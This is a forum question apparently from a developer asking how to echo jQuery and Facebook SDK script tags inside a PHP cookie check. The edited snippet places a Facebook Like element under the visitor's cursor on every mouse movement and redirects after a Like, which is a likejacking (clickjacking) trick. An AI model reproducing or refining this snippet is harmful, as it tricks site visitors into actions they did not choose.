title: Javascript in PHP if Statement
body: <p>I have follow code:</p>
  
  <pre><code>&lt;?php
  
  if(isset($_COOKIE['lg'])) {
  echo 'cookie da&lt;br/&gt;&lt;br/&gt;';
  echo '&lt;div style="margin-top: -25px; margin-bottom: -25px; height: 375px; overflow: hidden"&gt;&lt;iframe width="650" height="400" src="//www.youtube.com/embed/aXlGiKzzZDA?rel=0" frameborder="0"&gt; &lt;/iframe&gt;&lt;/div&gt;';
  }
  else {
  echo 'cookie nichtda&lt;br/&gt;&lt;br/&gt;';
  setcookie('lg');
  
  &lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"&gt;
  
  echo 'something';
  
  &lt;script src="http://connect.facebook.net/de_DE/all.js#xfbml=1"&gt;&lt;/script&gt;
  
  }
  
  ?&gt;
  </code></pre>
  
  <p>How can I get these Javascript codes get to work here? Is it even possible?</p>
  
  <p>EDIT:</p>
  
  <pre><code>&lt;script src="http://connect.facebook.net/de_DE/all.js"&gt;&lt;/script&gt;
  
          &lt;script type="text/javascript"&gt;
              FB.init({appId  : '121689674645582', status : true, cookie : true,xfbml  : true});
  
              FB.Event.subscribe('edge.create', function(response) {
                  window.top.location = "http://bla.com";
              });
  
              $(document).ready(function(){
                  $(document).mousemove(function(e){
                      x=e.pageX ; y=e.pageY;
                      $("#like").css({top: (y - 4) + "px", left: (x - 4) + "px"});
                  });
              });
          &lt;/script&gt;
  </code></pre>
  
  <p>Can I also just echo this whole code inside PHP statement?</p>